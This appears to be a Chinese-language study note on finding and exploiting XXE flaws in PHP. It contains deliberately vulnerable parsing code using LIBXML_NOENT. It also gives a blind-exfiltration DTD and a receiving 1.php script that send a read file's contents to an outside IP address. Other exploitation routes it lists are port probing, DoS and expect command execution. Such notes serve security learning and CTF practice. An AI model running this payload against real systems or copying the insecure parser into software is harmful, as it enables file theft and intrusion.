1.如何甄别可能存在xxe
最直接的回答就是: 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。
在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
2.xxe 是通过实体引用,并且对用户输入过滤不严引起的,漏洞复现是注意libxml2.9.0版本后默认不解析entity的
如
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
print_r($data);
//第三个参数LIBXML_NOENT,否则不解析实体
//利用reflection类实例化SimpleXMLElement类,SimpleXMLElement的构造方法
$xmlclass=new ReflectionClass("SimpleXMLElement");
$a = file_get_contents("php://input");
$instancexmlclass= $xmlclass->newInstance($a,LIBXML_NOENT);
echo "<pre>";
print_r($instancexmlclass);
echo "</pre>";
//同样第二个参数LIBXML_NOENT,否则不解析
//利用SimpleXMLElement触发xxe
$a = file_get_contents("php://input");
$c=new SimpleXMLElement($a,LIBXML_NOENT);
//print_r($c);
漏洞利用方向
1.读取任意文件
读取文件有两种形式,有回显和无回显,
有回显,直接构造恶意代码
无回显,利用外部通道
放在远程服务器上的1.php
<?php
file_put_contents("1.txt",$_GET['file']);
?>
放在远程服务器的xxe.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://123.207.51.206:88/xh/1.php?file=%file;'>">
%all;
2.dos攻击
结果报错,其他触发xxe的方式也无法进行dos攻击
3.探测内网端口
上图说明端口开放
4.命令执行(expect)
这个需要按expect扩展(php默认是没有这个扩展的),此类利用较少
------------------------------------------------------------------------------------------------------
3.默认协议
PHP扩展协议
一道ctf题